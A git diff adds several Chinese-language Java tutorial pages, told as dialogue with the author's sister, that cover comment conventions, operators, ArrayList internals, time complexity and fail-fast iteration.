+2)文档注释中可以嵌入一些 HTML 标记,比如说段落标记 `

`,超链接标记 `` 等等,但不要使用标题标记,比如说 `

`,因为 javadoc 会插入自己的标题,容易发生冲突。 + +3)文档注释中可以插入一些 `@` 注解,比如说 `@see` 引用其他类,`@version` 版本号,`@param` 参数标识符,`@author` 作者标识符,`@deprecated` 已废弃标识符,等等。 + +### 05、注释规约 + +1)类、字段、方法必须使用文档注释,不能使用单行注释和多行注释。因为注释文档在 IDE 编辑窗口中可以悬浮提示,提高编码效率。 + +比如说,在使用 String 类的时候,鼠标悬停在 String 上时可以得到以下提示。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/fourteen-09.png) + +2)所有的抽象方法(包括接口中的方法)必须要用Javadoc注释、除了返回值、参数、 异常说明外,还必须指出该方法做什么事情,实现什么功能。 + +3)所有的类都必须添加创建者和创建日期。 + +Intellij IDEA 中可以在「File and Code Templates」中设置。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/fourteen-10.png) + +语法如下所示: + +``` +/** +* 微信搜索「沉默王二」,回复 Java +* @author 沉默王二 +* @date ${DATE} +*/ +``` + +设置好后,在新建一个类的时候就可以自动生成了。 + +```java +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/16 + */ +public class Test { +} +``` + +4)所有的枚举类型字段必须要有注释,说明每个数据项的用途。 + +5)代码修改的同时,注释也要进行相应的修改。 + + +“好了,三妹,关于 Java 中的注释就先说这么多吧。”转动了一下僵硬的脖子后,我对三妹说。“记住一点,注释是程序固有的一部分。” + +>第一、注释要能够准确反映设计思想和代码逻辑;第二、注释要能够描述业务含 义,使别的程序员能够迅速了解到代码背后的信息。完全没有注释的大段代码对于阅读者形同 天书,注释是给自己看的,即使隔很长时间,也能清晰理解当时的思路;注释也是给继任者看 的,使其能够快速接替自己的工作。 + +----- + +《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享! + +图片没显示的话,可以微信搜索「沉默王二」关注 \ No newline at end of file diff --git a/docs/basic-grammar/operator.md b/docs/basic-grammar/operator.md new file mode 100644 index 0000000000..f2cc568f9e --- /dev/null +++ b/docs/basic-grammar/operator.md @@ -0,0 +1,370 @@ + + +“二哥,让我盲猜一下哈,运算符是不是指的就是加减乘除啊?”三妹的脸上泛着甜甜的笑容,我想她一定对提出的问题很有自信。 + +“是的,三妹。运算符在 Java 中占据着重要的位置,对程序的执行有着很大的帮助。除了常见的加减乘除,还有许多其他类型的运算符,来看下面这张思维导图。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-grammar/eleven-01.png) + + +### 01、算数运算符 + +算术运算符除了最常见的加减乘除,还有一个取余的运算符,用于得到除法运算后的余数,来串代码感受下。 + +```java +/** + * 微信搜索「沉默王二」,回复 Java + */ +public class ArithmeticOperator { + public static void main(String[] args) { + int a = 10; + int b = 5; + + System.out.println(a + b);//15 + System.out.println(a - b);//5 + System.out.println(a * b);//50 + System.out.println(a / b);//2 + System.out.println(a % b);//0 + + b = 3; + System.out.println(a + b);//13 + System.out.println(a - b);//7 + System.out.println(a * b);//30 + System.out.println(a / b);//3 + System.out.println(a % b);//1 + } +} +``` + +对于初学者来说,加法(+)、减法(-)、乘法(*)很好理解,但除法(/)和取余(%)会有一点点疑惑。在以往的认知里,10/3 是除不尽的,结果应该是 3.333333...,而不应该是 3。相应的,余数也不应该是 1。这是为什么呢? + +因为数字在程序中可以分为两种,一种是整形,一种是浮点型(不清楚的同学可以回头看看[数据类型那篇](https://mp.weixin.qq.com/s/twim3w_dp5ctCigjLGIbFw)),整形和整形的运算结果就是整形,不会出现浮点型。否则,就会出现浮点型。 + +```java +/** + * 微信搜索「沉默王二」,回复 Java + */ +public class ArithmeticOperator { + public static void main(String[] args) { + int a = 10; + float c = 3.0f; + double d = 3.0; + System.out.println(a / c); // 3.3333333 + System.out.println(a / d); // 3.3333333333333335 + System.out.println(a % c); // 1.0 + System.out.println(a % d); // 1.0 + } +} +``` + +需要注意的是,当浮点数除以 0 的时候,结果为 Infinity 或者 NaN。 + +``` +System.out.println(10.0 / 0.0); // Infinity +System.out.println(0.0 / 0.0); // NaN +``` + +Infinity 的中文意思是无穷大,NaN 的中文意思是这不是一个数字(Not a Number)。 + + +当整数除以 0 的时候(`10 / 0`),会抛出异常: + +``` +Exception in thread "main" java.lang.ArithmeticException: / by zero + at com.itwanger.eleven.ArithmeticOperator.main(ArithmeticOperator.java:32) +``` + +所以整数在进行除法运算时,需要先判断除数是否为 0,以免程序抛出异常。 + +算术运算符中还有两种特殊的运算符,自增运算符(++)和自减运算符(--),它们也叫做一元运算符,只有一个操作数。 + +```java +public class UnaryOperator1 { + public static void main(String[] args) { + int x = 10; + System.out.println(x++);//10 (11) + System.out.println(++x);//12 + System.out.println(x--);//12 (11) + System.out.println(--x);//10 + } +} +``` + +一元运算符可以放在数字的前面或者后面,放在前面叫前自增(前自减),放在后面叫后自增(后自减)。 + +前自增和后自增是有区别的,拿 `int y = ++x` 这个表达式来说(x = 10),它可以拆分为 `x = x+1 = 11; y = x = 11`,所以表达式的结果为 `x = 11, y = 11`。拿 `int y = x++` 这个表达式来说(x = 10),它可以拆分为 `y = x = 10; x = x+1 = 11`,所以表达式的结果为 `x = 11, y = 10`。 + +```java +int x = 10; +int y = ++x; +System.out.println(y + " " + x);// 11 11 + +x = 10; +y = x++; +System.out.println(y + " " + x);// 10 11 +``` + +对于前自减和后自减来说,同学们可以自己试一把。 + + +### 02、关系运算符 + +关系运算符用来比较两个操作数,返回结果为 true 或者 false。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-grammar/eleven-02.png) + +来看示例: + +```java +/** + * 微信搜索「沉默王二」,回复 Java + */ +public class RelationOperator { + public static void main(String[] args) { + int a = 10, b = 20; + System.out.println(a == b); // false + System.out.println(a != b); // true + System.out.println(a > b); // false + System.out.println(a < b); // true + System.out.println(a >= b); // false + System.out.println(a <= b); // true + } +} +``` + +### 03、位运算符 + +在学习位运算符之前,需要先学习一下二进制,因为位运算符操作的不是整形数值(int、long、short、char、byte)本身,而是整形数值对应的二进制。 + +```java +/** + * 微信搜索「沉默王二」,回复 Java + */ +public class BitOperator { + public static void main(String[] args) { + System.out.println(Integer.toBinaryString(60)); // 111100 + System.out.println(Integer.toBinaryString(13)); // 1101 + } +} +``` + + 从程序的输出结果可以看得出来,60 的二进制是 0011 1100(用 0 补到 8 位),13 的二进制是 0000 1101。 + +PS:现代的二进制记数系统由戈特弗里德·威廉·莱布尼茨于 1679 年设计。莱布尼茨是德意志哲学家、数学家,历史上少见的通才。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-grammar/eleven-03.png) + +来看示例: + +```java +/** + * 微信搜索「沉默王二」,回复 Java + */ +public class BitOperator { + public static void main(String[] args) { + int a = 60, b = 13; + System.out.println("a 的二进制:" + Integer.toBinaryString(a)); // 111100 + System.out.println("b 的二进制:" + Integer.toBinaryString(b)); // 1101 + + int c = a & b; + System.out.println("a & b:" + c + ",二进制是:" + Integer.toBinaryString(c)); + + c = a | b; + System.out.println("a | b:" + c + ",二进制是:" + Integer.toBinaryString(c)); + + c = a ^ b; + System.out.println("a ^ b:" + c + ",二进制是:" + Integer.toBinaryString(c)); + + c = ~a; + System.out.println("~a:" + c + ",二进制是:" + Integer.toBinaryString(c)); + + c = a << 2; + System.out.println("a << 2:" + c + ",二进制是:" + Integer.toBinaryString(c)); + + c = a >> 2; + System.out.println("a >> 2:" + c + ",二进制是:" + Integer.toBinaryString(c)); + + c = a >>> 2; + System.out.println("a >>> 2:" + c + ",二进制是:" + Integer.toBinaryString(c)); + } +} +``` + +对于初学者来说,位运算符无法从直观上去计算出结果,不像加减乘除那样。因为我们日常接触的都是十进制,位运算的时候需要先转成二进制,然后再计算出结果。 + +鉴于此,初学者在写代码的时候其实很少会用到位运算。对于编程高手来说,为了提高程序的性能,会在一些地方使用位运算。比如说,HashMap 在计算哈希值的时候: + +```java +static final int hash(Object key) { + int h; + return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); +} +``` + +如果对位运算一点都不懂的话,遇到这样的源码就很吃力。所以说,虽然位运算用的少,但还是要懂。 + +1)按位左移运算符: + +```java +public class LeftShiftOperator { + public static void main(String[] args) { + System.out.println(10<<2);//10*2^2=10*4=40 + System.out.println(10<<3);//10*2^3=10*8=80 + System.out.println(20<<2);//20*2^2=20*4=80 + System.out.println(15<<4);//15*2^4=15*16=240 + } +} +``` + +`10<<2` 等于 10 乘以 2 的 2 次方;`10<<3` 等于 10 乘以 2 的 3 次方。 + +2)按位右移运算符: + +```java +public class RightShiftOperator { + public static void main(String[] args) { + System.out.println(10>>2);//10/2^2=10/4=2 + System.out.println(20>>2);//20/2^2=20/4=5 + System.out.println(20>>3);//20/2^3=20/8=2 + } +} +``` + +`10>>2` 等于 10 除以 2 的 2 次方;`20>>2` 等于 20 除以 2 的 2 次方。 + +### 04、逻辑运算符 + +逻辑与运算符(&&):多个条件中只要有一个为 false 结果就为 false。 + +逻辑或运算符(||):多个条件只要有一个为 true 结果就为 true。 + +```java +public class LogicalOperator { + public static void main(String[] args) { + int a=10; + int b=5; + int c=20; + System.out.println(ab||ab|a + +图片没显示的话,可以微信搜索「沉默王二」关注 + +

\ No newline at end of file diff --git a/docs/collection/arraylist.md b/docs/collection/arraylist.md new file mode 100644 index 0000000000..8f425f04d2 --- /dev/null +++ b/docs/collection/arraylist.md @@ -0,0 +1,386 @@ + + +“二哥,听说今天我们开讲 ArrayList 了?好期待哦!”三妹明知故问,这个托配合得依然天衣无缝。 + +“是的呀,三妹。”我肯定地点了点头,继续说道,“ArrayList 可以称得上是集合框架方面最常用的类了,可以和 HashMap 一较高下。” + +从名字就可以看得出来,ArrayList 实现了 List 接口,并且是基于数组实现的。 + +数组的大小是固定的,一旦创建的时候指定了大小,就不能再调整了。也就是说,如果数组满了,就不能再添加任何元素了。ArrayList 在数组的基础上实现了自动扩容,并且提供了比数组更丰富的预定义方法(各种增删改查),非常灵活。 + +Java 这门编程语言和 C语言的不同之处就在这里,如果是 C语言的话,就必须动手实现自己的 ArrayList,原生的库函数里面是没有的。 + +“二哥,**如何创建一个 ArrayList 啊**?”三妹问。 + +```java +ArrayList alist = new ArrayList(); +``` + +可以通过上面的语句来创建一个字符串类型的 ArrayList(通过尖括号来限定 ArrayList 中元素的类型,如果尝试添加其他类型的元素,将会产生编译错误),更简化的写法如下: + +```java +List alist = new ArrayList<>(); +``` + +由于 ArrayList 实现了 List 接口,所以 alist 变量的类型可以是 List 类型;new 关键字声明后的尖括号中可以不再指定元素的类型,因为编译器可以通过前面尖括号中的类型进行智能推断。 + +如果非常确定 ArrayList 中元素的个数,在创建的时候还可以指定初始大小。 + +```java +List alist = new ArrayList<>(20); +``` + +这样做的好处是,可以有效地避免在添加新的元素时进行不必要的扩容。但通常情况下,我们很难确定 ArrayList 中元素的个数,因此一般不指定初始大小。 + +“二哥,**那怎么向 ArrayList 中添加一个元素呢**?”三妹继续问。 + +可以通过 `add()` 方法向 ArrayList 中添加一个元素,如果不指定下标的话,就默认添加在末尾。 + +```java +alist.add("沉默王二"); +``` + +“三妹,你可以研究一下 `add()` 方法的源码(基于 JDK 8 会好一点),它在添加元素的时候会判断需不需要进行扩容,如果需要的话,会执行 `grow()` 方法进行扩容,这个也是面试官特别喜欢考察的一个重点。”我叮嘱道。 + +下面是 `add(E e)` 方法的源码: + +```java +public boolean add(E e) { + ensureCapacityInternal(size + 1); // Increments modCount!! + elementData[size++] = e; + return true; +} +``` + +调用了私有的 `ensureCapacityInternal` 方法: + +```java +private void ensureCapacityInternal(int minCapacity) { + if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) { + minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity); + } + + ensureExplicitCapacity(minCapacity); +} +``` + +假如一开始创建 ArrayList 的时候没有指定大小,elementData 就会被初始化成一个空的数组,也就是 DEFAULTCAPACITY_EMPTY_ELEMENTDATA。 + +进入到 if 分支后,minCapacity 的值就会等于 DEFAULT_CAPACITY,可以看一下 DEFAULT_CAPACITY 的初始值: + +```java +private static final int DEFAULT_CAPACITY = 10; +``` +也就是说,如果 ArrayList 在创建的时候没有指定大小,默认可以容纳 10 个元素。 + +接下来会进入 `ensureExplicitCapacity` 方法: + +```java +private void ensureExplicitCapacity(int minCapacity) { + modCount++; + + // overflow-conscious code + if (minCapacity - elementData.length > 0) + grow(minCapacity); +} +``` + +接着进入 `grow(int minCapacity)` 方法: + +```java +private void grow(int minCapacity) { + // overflow-conscious code + int oldCapacity = elementData.length; + int newCapacity = oldCapacity + (oldCapacity >> 1); + if (newCapacity - minCapacity < 0) + newCapacity = minCapacity; + if (newCapacity - MAX_ARRAY_SIZE > 0) + newCapacity = hugeCapacity(minCapacity); + // minCapacity is usually close to size, so this is a win: + elementData = Arrays.copyOf(elementData, newCapacity); +} +``` + +然后对数组进行第一次扩容 `Arrays.copyOf(elementData, newCapacity)`,由原来的 DEFAULTCAPACITY_EMPTY_ELEMENTDATA 扩容为容量为 10 的数组。 + +“那假如向 ArrayList 添加第 11 个元素呢?”三妹看到了问题的关键。 + +此时,minCapacity 等于 11,elementData.length 为 10,`ensureExplicitCapacity()` 方法中 if 条件分支就起效了: + +```java +private void ensureExplicitCapacity(int minCapacity) { + modCount++; + + // overflow-conscious code + if (minCapacity - elementData.length > 0) + grow(minCapacity); +} +``` + +会再次进入到 `grow()` 方法: + +```java +private void grow(int minCapacity) { + // overflow-conscious code + int oldCapacity = elementData.length; + int newCapacity = oldCapacity + (oldCapacity >> 1); + if (newCapacity - minCapacity < 0) + newCapacity = minCapacity; + if (newCapacity - MAX_ARRAY_SIZE > 0) + newCapacity = hugeCapacity(minCapacity); + // minCapacity is usually close to size, so this is a win: + elementData = Arrays.copyOf(elementData, newCapacity); +} +``` + +“oldCapacity 等于 10,`oldCapacity >> 1` 这个表达式等于多少呢?三妹你知道吗?”我问三妹。 + +“不知道啊,`>>` 是什么意思呢?”三妹很疑惑。 + +“`>>` 是右移运算符,`oldCapacity >> 1` 相当于 oldCapacity 除以 2。”我给三妹解释道,“在计算机内部,都是按照二进制存储的,10 的二进制就是 1010,也就是 `0*2^0 + 1*2^1 + 0*2^2 + 1*2^3`=0+2+0+8=10 。。。。。。” + +还没等我解释完,三妹就打断了我,“二哥,能再详细解释一下到底为什么吗?” + +“当然可以啊。”我拍着胸脯对三妹说。 + +先从位全的含义说起吧。 + +平常我们使用的是十进制数,比如说 39,并不是简单的 3 和 9,3 表示的是 `3*10 = 30`,9 表示的是 `9*1 = 9`,和 3 相乘的 10,和 9 相乘的 1,就是**位权**。位数不同,位权就不同,第 1 位是 10 的 0 次方(也就是 `10^0=1`),第 2 位是 10 的 1 次方(`10^1=10`),第 3 位是 10 的 2 次方(`10^2=100`),最右边的是第一位,依次类推。 + +位权这个概念同样适用于二进制,第 1 位是 2 的 0 次方(也就是 `2^0=1`),第 2 位是 2 的 1 次方(`2^1=2`),第 3 位是 2 的 2 次方(`2^2=4`),第 34 位是 2 的 3 次方(`2^3=8`)。 + +十进制的情况下,10 是基数,二进制的情况下,2 是基数。 + +10 在十进制的表示法是 `0*10^0+1*10^1`=0+10=10。 + +10 的二进制数是 1010,也就是 `0*2^0 + 1*2^1 + 0*2^2 + 1*2^3`=0+2+0+8=10。 + +然后是**移位运算**,移位分为左移和右移,在 Java 中,左移的运算符是 `<<`,右移的运算符 `>>`。 + +拿 `oldCapacity >> 1` 来说吧,`>>` 左边的是被移位的值,此时是 10,也就是二进制 `1010`;`>>` 右边的是要移位的位数,此时是 1。 + +1010 向右移一位就是 101,空出来的最高位此时要补 0,也就是 0101。 + +“那为什么不补 1 呢?”三妹这个问题很尖锐。 + +“因为是算术右移,并且是正数,所以最高位补 0;如果表示的是负数,就需要补 1。”我慢吞吞地回答道,“0101 的十进制就刚好是 `1*2^0 + 0*2^1 + 1*2^2 + 0*2^3`=1+0+4+0=5,如果多移几个数来找规律的话,就会发现,右移 1 位是原来的 1/2,右移 2 位是原来的 1/4,诸如此类。” + +也就是说,ArrayList 的大小会扩容为原来的大小+原来大小/2,也就是差不多 1.5 倍。 + +除了 `add(E e)` 方法,还可以通过 `add(int index, E element)` 方法把元素添加到指定的位置: + +```java +alist.add(0, "沉默王三"); +``` + + `add(int index, E element)` 方法的源码如下: + +```java +public void add(int index, E element) { + rangeCheckForAdd(index); + + ensureCapacityInternal(size + 1); // Increments modCount!! + System.arraycopy(elementData, index, elementData, index + 1, + size - index); + elementData[index] = element; + size++; +} +``` + +该方法会调用到一个非常重要的本地方法 `System.arraycopy()`,它会对数组进行复制(要插入位置上的元素往后复制)。 + +“三妹,注意看,我画幅图来表示下。”我认真地做起了图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/arraylist-01.png) + + +“二哥,那怎么**更新 ArrayList 中的元素**呢?”三妹继续问。 + +可以使用 `set()` 方法来更改 ArrayList 中的元素,需要提供下标和新元素。 + +```java +alist.set(0, "沉默王四"); +``` + +假设原来 0 位置上的元素为“沉默王三”,现在可以将其更新为“沉默王四”。 + +来看一下 `set()` 方法的源码: + +```java +public E set(int index, E element) { + rangeCheck(index); + + E oldValue = elementData(index); + elementData[index] = element; + return oldValue; +} +``` + +该方法会先对指定的下标进行检查,看是否越界,然后替换新值并返回旧值。 + +“二哥,那怎么**删除 ArrayList 中的元素**呢?”三妹继续问。 + +`remove(int index)` 方法用于删除指定下标位置上的元素,`remove(Object o)` 方法用于删除指定值的元素。 + +```java +alist.remove(1); +alist.remove("沉默王四"); +``` + +先来看 `remove(int index)` 方法的源码: + +```java +public E remove(int index) { + rangeCheck(index); + + modCount++; + E oldValue = elementData(index); + + int numMoved = size - index - 1; + if (numMoved > 0) + System.arraycopy(elementData, index+1, elementData, index, + numMoved); + elementData[--size] = null; // clear to let GC do its work + + return oldValue; +} +``` + +该方法会调用 ` System.arraycopy()` 对数组进行复制移动,然后把要删除的元素位置清空 `elementData[--size] = null`。 + +再来看 `remove(Object o)` 方法的源码: + +```java +public boolean remove(Object o) { + if (o == null) { + for (int index = 0; index < size; index++) + if (elementData[index] == null) { + fastRemove(index); + return true; + } + } else { + for (int index = 0; index < size; index++) + if (o.equals(elementData[index])) { + fastRemove(index); + return true; + } + } + return false; +} +``` + +该方法通过遍历的方式找到要删除的元素,null 的时候使用 == 操作符判断,非 null 的时候使用 `equals()` 方法,然后调用 `fastRemove()` 方法;有相同元素时,只会删除第一个。 + +既然都调用了 `fastRemove()` 方法,那就继续来跟踪一下源码: + +```java +private void fastRemove(int index) { + modCount++; + int numMoved = size - index - 1; + if (numMoved > 0) + System.arraycopy(elementData, index+1, elementData, index, + numMoved); + elementData[--size] = null; // clear to let GC do its work +} +``` + +同样是调用 `System.arraycopy()` 方法对数组进行复制和移动。 + +“三妹,注意看,我画幅图来表示下。”我认真地做起了图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/arraylist-02.png) + + + +“二哥,那怎么**查找 ArrayList 中的元素**呢?”三妹继续问。 + +如果要正序查找一个元素,可以使用 `indexOf()` 方法;如果要倒序查找一个元素,可以使用 `lastIndexOf()` 方法。 + +```java +alist.indexOf("沉默王二"); +alist.lastIndexOf("沉默王二"); +``` + +来看一下 `indexOf()` 方法的源码: + +```java +public int indexOf(Object o) { + if (o == null) { + for (int i = 0; i < size; i++) + if (elementData[i]==null) + return i; + } else { + for (int i = 0; i < size; i++) + if (o.equals(elementData[i])) + return i; + } + return -1; +} +``` + +如果元素为 null 的时候使用“==”操作符,否则使用 `equals()` 方法。 + +`lastIndexOf()` 方法和 `indexOf()` 方法类似,不过遍历的时候从最后开始。 + +`contains()` 方法可以判断 ArrayList 中是否包含某个元素,其内部调用了 `indexOf()` 方法: + +```java +public boolean contains(Object o) { + return indexOf(o) >= 0; +} +``` + +如果 ArrayList 中的元素是经过排序的,就可以使用二分查找法,效率更快。 + +`Collections` 类的 `sort()` 方法可以对 ArrayList 进行排序,该方法会按照字母顺序对 String 类型的列表进行排序。如果是自定义类型的列表,还可以指定 Comparator 进行排序。 + +```java +List copy = new ArrayList<>(alist); +copy.add("a"); +copy.add("c"); +copy.add("b"); +copy.add("d"); + +Collections.sort(copy); +System.out.println(copy); +``` + +输出结果如下所示: + +``` +[a, b, c, d] +``` + +排序后就可以使用二分查找法了: + +```java +int index = Collections.binarySearch(copy, "b"); +``` + +“最后,三妹,我来简单总结一下 ArrayList 的时间复杂度吧,方便后面学习 LinkedList 时对比。”我喝了一口水后补充道。 + +1)通过下标(也就是 `get(int index)`)访问一个元素的时间复杂度为 O(1),因为是直达的,无论数据增大多少倍,耗时都不变。 + +```java +public E get(int index) { + rangeCheck(index); + + return elementData(index); +} +``` + +2)默认添加一个元素(调用 `add()` 方法时)的时间复杂度为 O(1),因为是直接添加到数组末尾的,但需要考虑到数组扩容时消耗的时间。 + +3)删除一个元素(调用 `remove(Object)` 方法时)的时间复杂度为 O(n),因为要遍历列表,数据量增大几倍,耗时也增大几倍;如果是通过下标删除元素时,要考虑到数组的移动和复制所消耗的时间。 + +4)查找一个未排序的列表时间复杂度为 O(n)(调用 `indexOf()` 或者 `lastIndexOf()` 方法时),因为要遍历列表;查找排序过的列表时间复杂度为 O(log n),因为可以使用二分查找法,当数据增大 n 倍时,耗时增大 logn 倍(这里的 log 是以 2 为底的,每找一次排除一半的可能)。 + +------- + +ArrayList,如果有个中文名的话,应该叫动态数组,也就是可增长的数组,可调整大小的数组。动态数组克服了静态数组的限制,静态数组的容量是固定的,只能在首次创建的时候指定。而动态数组会随着元素的增加自动调整大小,更符合实际的开发需求。 + +学习集合框架,ArrayList 是第一课,也是新手进阶的重要一课。要想完全掌握 ArrayList,扩容这个机制是必须得掌握,也是面试中经常考察的一个点。 + +要想掌握扩容机制,就必须得读源码,也就肯定会遇到 `oldCapacity >> 1`,有些初学者会选择跳过,虽然不影响整体上的学习,但也错过了一个精进的机会。 + +计算机内部是如何表示十进制数的,右移时又发生了什么,静下心来去研究一下,你就会发现,哦,原来这么有趣呢? \ No newline at end of file diff --git a/docs/collection/big-o.md b/docs/collection/big-o.md new file mode 100644 index 0000000000..c85a645dc2 --- /dev/null +++ b/docs/collection/big-o.md @@ -0,0 +1,100 @@ + + +“二哥,为什么要讲时间复杂度呀?”三妹问。 + +“因为接下来要用到啊。后面我们学习 ArrayList、LinkedList 的时候,会比较两者在增删改查时的执行效率,而时间复杂度是衡量执行效率的一个重要标准。”我说。 + +“到时候跑一下代码,统计一下前后的时间差不更准确吗?”三妹反问道。 + +“实际上,你说的是另外一种评估方法,这种评估方法可以得出非常准确的数值,但也有很大的局限性。”我不急不慢地说。 + +第一,测试结果会受到测试环境的影响。你比如说,同样的代码,在我这台 iMac 上跑出来的时间和在你那台华为的 MacBook 上抛出的时间可能就差别很大。 + +第二,测试结果会受到测试数据的影响。你比如说,一个排序后的数组和一个没有排序后的数组,调用了同一个查询方法,得出来的结果可能会差别特别大。 + +“因此,我们需要这种不依赖于具体测试环境和测试数据就能粗略地估算出执行效率的方法,时间复杂度就是其中的一种,还有一种是空间复杂度。”我继续补充道。 + +来看下面这段代码: + +```java +public static int sum(int n) { + int sum = 0; // 第 1 行 + for (int i=0;i T(n) = O(f(n)) + +f(n) 表示代码总的执行次数,大写 O 表示代码的执行时间 T(n) 和 f(n) 成正比。 + +这也就是大 O 表示法,它不关心代码具体的执行时间是多少,它关心的是代码执行时间的变化趋势,这也就是时间复杂度这个概念的由来。 + +对于上面那段代码 `sum()` 来说,影响时间复杂度的主要是第 2 行代码,其余的,像系数 2、常数 2 都是可以忽略不计的,我们只关心影响最大的那个,所以时间复杂度就表示为 `O(n)`。 + +常见的时间复杂度有这么 3 个: + +1)`O(1)` + +代码的执行时间,和数据规模 n 没有多大关系。 + +括号中的 1 可以是 3,可以是 5,可以 100,我们习惯用 1 来表示,表示这段代码的执行时间是一个常数级别。比如说下面这段代码: + +```java +int i = 0; +int j = 0; +int k = i + j; +``` + +实际上执行了 3 次,但我们也认为这段代码的时间复杂度为 `O(1)`。 + +2)`O(n)` + +时间复杂度和数据规模 n 是线性关系。换句话说,数据规模增大 K 倍,代码执行的时间就大致增加 K 倍。 + +3)`O(logn)` + +时间复杂度和数据规模 n 是对数关系。换句话说,数据规模大幅增加时,代码执行的时间只有少量增加。 + +来看一下代码示例, + +```java +public static void logn(int n) { + int i = 1; + while (i < n) { + i *= 2; + } +} +``` + +换句话说,当数据量 n 从 2 增加到 2^64 时,代码执行的时间只增加 64 倍。 + +``` +遍历次数 | i +----------+------- + 0 | i + 1 | i*2 + 2 | i*4 + ... | ... + ... | ... + k | i*2^k +``` + +“好了,三妹,这节就讲到这吧,理解了上面 3 个时间复杂度,后面我们学习 ArrayList、LinkedList 的时候,两者在增删改查时的执行效率就很容易对比清楚了。”我抬起头看了看三妹说,她似乎有些明白,又有些不太明白。 + +“不要担心哥,我再温习一遍就能搞懂了。”三妹很乖。 + +---------- + + +《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享! + +图片没显示的话,可以微信搜索「沉默王二」关注 \ No newline at end of file diff --git a/docs/collection/fail-fast.md b/docs/collection/fail-fast.md new file mode 100644 index 0000000000..21cb0035cf --- /dev/null +++ b/docs/collection/fail-fast.md @@ -0,0 +1,242 @@ + + +那天,小二去阿里面试,面试官老王一上来就甩给了他一道面试题:为什么阿里的 Java 开发手册里会强制不要在 foreach 里进行元素的删除操作?小二听完就面露喜色,因为两年前,也就是 2021 年,他在《Java 程序员进阶之路》专栏上的第 63 篇看到过这题😆。 + +*PS:star 这种事,只能求,不求没效果,铁子们,《Java 程序员进阶之路》在 GitHub 上已经收获了 417 枚星标,小伙伴们赶紧去点点了,冲 500 star!* + +>https://github.com/itwanger/toBeBetterJavaer + +----- + +为了镇楼,先搬一段英文来解释一下 fail-fast。 + +>In systems design, a fail-fast system is one which immediately reports at its interface any condition that is likely to indicate a failure. Fail-fast systems are usually designed to stop normal operation rather than attempt to continue a possibly flawed process. Such designs often check the system's state at several points in an operation, so any failures can be detected early. The responsibility of a fail-fast module is detecting errors, then letting the next-highest level of the system handle them. + +这段话的大致意思就是,fail-fast 是一种通用的系统设计思想,一旦检测到可能会发生错误,就立马抛出异常,程序将不再往下执行。 + +```java +public void test(Wanger wanger) { + if (wanger == null) { + throw new RuntimeException("wanger 不能为空"); + } + + System.out.println(wanger.toString()); +} +``` + +一旦检测到 wanger 为 null,就立马抛出异常,让调用者来决定这种情况下该怎么处理,下一步 `wanger.toString()` 就不会执行了——避免更严重的错误出现。 + +很多时候,我们会把 fail-fast 归类为 Java 集合框架的一种错误检测机制,但其实 fail-fast 并不是 Java 集合框架特有的机制。 + +之所以我们把 fail-fast 放在集合框架篇里介绍,是因为问题比较容易再现。 + +```java +List list = new ArrayList<>(); +list.add("沉默王二"); +list.add("沉默王三"); +list.add("一个文章真特么有趣的程序员"); + +for (String str : list) { + if ("沉默王二".equals(str)) { + list.remove(str); + } +} + +System.out.println(list); +``` + +这段代码看起来没有任何问题,但运行起来就报错了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/fail-fast-01.png) + + +根据错误的堆栈信息,我们可以定位到 ArrayList 的第 901 行代码。 + +```java +final void checkForComodification() { + if (modCount != expectedModCount) + throw new ConcurrentModificationException(); +} +``` + +也就是说,remove 的时候触发执行了 `checkForComodification` 方法,该方法对 modCount 和 expectedModCount 进行了比较,发现两者不等,就抛出了 `ConcurrentModificationException` 异常。 + +为什么会执行 `checkForComodification` 方法呢? + +是因为 for-each 本质上是个语法糖,底层是通过[迭代器 Iterator](戳链接🔗,详细了解下) 配合 while 循环实现的,来看一下反编译后的字节码。 + +```java +List list = new ArrayList(); +list.add("沉默王二"); +list.add("沉默王三"); +list.add("一个文章真特么有趣的程序员"); +Iterator var2 = list.iterator(); + +while(var2.hasNext()) { + String str = (String)var2.next(); + if ("沉默王二".equals(str)) { + list.remove(str); + } +} + +System.out.println(list); +``` + +来看一下 ArrayList 的 iterator 方法吧: + +```java +public Iterator iterator() { + return new Itr(); +} +``` + +内部类 Itr 实现了 Iterator 接口。 + +```java +private class Itr implements Iterator { + int cursor; // index of next element to return + int lastRet = -1; // index of last element returned; -1 if no such + int expectedModCount = modCount; + + Itr() {} + + public boolean hasNext() { + return cursor != size; + } + + @SuppressWarnings("unchecked") + public E next() { + checkForComodification(); + int i = cursor; + Object[] elementData = ArrayList.this.elementData; + if (i >= elementData.length) + throw new ConcurrentModificationException(); + cursor = i + 1; + return (E) elementData[lastRet = i]; + } +} +``` + +也就是说 `new Itr()` 的时候 expectedModCount 被赋值为 modCount,而 modCount 是 List 的一个成员变量,表示集合被修改的次数。由于 list 此前执行了 3 次 add 方法。 + +- add 方法调用 ensureCapacityInternal 方法 +- ensureCapacityInternal 方法调用 ensureExplicitCapacity 方法 +- ensureExplicitCapacity 方法中会执行 `modCount++` + +所以 modCount 的值在经过三次 add 后为 3,于是 `new Itr()` 后 expectedModCount 的值也为 3。 + +执行第一次循环时,发现“沉默王二”等于 str,于是执行 `list.remove(str)`。 + +- remove 方法调用 fastRemove 方法 +- fastRemove 方法中会执行 `modCount++` + + +```java +private void fastRemove(int index) { + modCount++; + int numMoved = size - index - 1; + if (numMoved > 0) + System.arraycopy(elementData, index+1, elementData, index, + numMoved); + elementData[--size] 